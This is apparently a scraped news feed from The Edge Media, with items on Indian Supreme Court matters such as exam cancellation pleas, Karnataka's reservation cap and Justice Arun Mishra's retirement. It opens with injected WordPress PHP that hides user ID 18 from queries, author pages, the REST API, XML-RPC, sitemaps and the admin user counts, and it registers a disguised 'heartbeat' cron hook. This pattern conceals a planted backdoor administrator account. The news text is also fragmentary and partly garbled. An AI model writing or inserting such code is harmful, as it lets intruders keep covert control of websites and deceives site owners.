add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Class 12 board exams: SC to hear plea requesting cancellation of examinations appeared first on The Edge Media.
]]>The petition reads, “In view of the unprecedented health emergency and rising numbers of the COVID-19 cases in the country, the conduct of examination, either offline or online or blended in upcoming weeks is not possible and delay in the examination will cause irreparable loss to the students as time is the essence in taking admission in higher education courses in foreign universities.”
Earlier this year, Class 10 examinations were cancelled considering the increasing severity of the COVID pandemic.
The post Class 12 board exams: SC to hear plea requesting cancellation of examinations appeared first on The Edge Media.
]]>The post Quite serious: SC on issues raised by Param Bir Singh in plea against Deshmukh appeared first on The Edge Media.
]]>The post Quite serious: SC on issues raised by Param Bir Singh in plea against Deshmukh appeared first on The Edge Media.
]]>The post Karnataka to approach SC for increase in d 50%: Reports appeared first on The Edge Media.
]]>In a landmark judgement in 1992, the Supreme Court had capped reservation at 50%. However, while hearing a petition related to reservation for Marathas in education and jobs, the Supreme Court issued a notice to all states, seeking their response on whether quota should be allowed beyond the limit. The court said that it will examine whether the 50% rule needs to be reconsidered..The Karnataka government’s decision was taken in a Cabinet meeting presided by Chief Minister BS Yediyurappa, sources in the state Secretariat told The Hindu. Earlier, Karnataka’s Law and Home Minister Basavaraj Bommai had said in the Legislative Assembly that it was “inevitable” to go beyond the 50% cap in order to meet the demands of various castes.
The Yediyurappa-led government is likely to cite constitutional amendments, changes in related laws by states and changing social dynamics, in its arguments to the Supreme Court, Karnataka at present provides 15% reservation for Scheduled Castes, 3% for Scheduled Tribes and 32% for the Other Backward Classes (OBC), which add up to 50%.
Dominant communities like the Panchamasali, a sub sect of Lingayats, Vokkaligas, Valmikis and Kurubas have sought a higher quota and a change in category among other requests, according to the Hindustan Times. The SCs have demanded an increase in their quota from 15% to 17% and the STs from 3% to 7.5%,
Five other states – Maharashtra
The post Karnataka to approach SC for increase in d 50%: Reports appeared first on The Edge Media.
]]>The post SC Judge Justice Arun Mishra, “My Conscience Does Not Permit Me To Participate In Any Farewell Function.” appeared first on The Edge Media.
]]>Justice Mishra, who became an apex court judge on July 7, 2014, is demitting office on Tuesday and is all set to pronounce key judgments in cases including timelines for payment of AGR dues by telcos and the award of punishment to activist-lawyer Prashant Bhushan in a contempt case.
The Supreme Court Bar Association and the Confederation of Indian Bar have extended the invitations for the farewell functions to the outgoing judge.
“I am grateful for your kind invitation inviting me in the farewell function… I have always considered the bar as the mother of the judiciary, and it would have been a great pleasure to attend said function.
“However, taking into consideration the severe situation and sufferings the world over on account of the COVID-19 pandemic, my conscience does not permit me to participate in any farewell function,” Justice Mishra wrote to the bar bodies declining the requests. He, however, assured the bar bodies that he would visit them as and when the situation normalizes.
– PTI
The post SC Judge Justice Arun Mishra, “My Conscience Does Not Permit Me To Participate In Any Farewell Function.” appeared first on The Edge Media.
]]>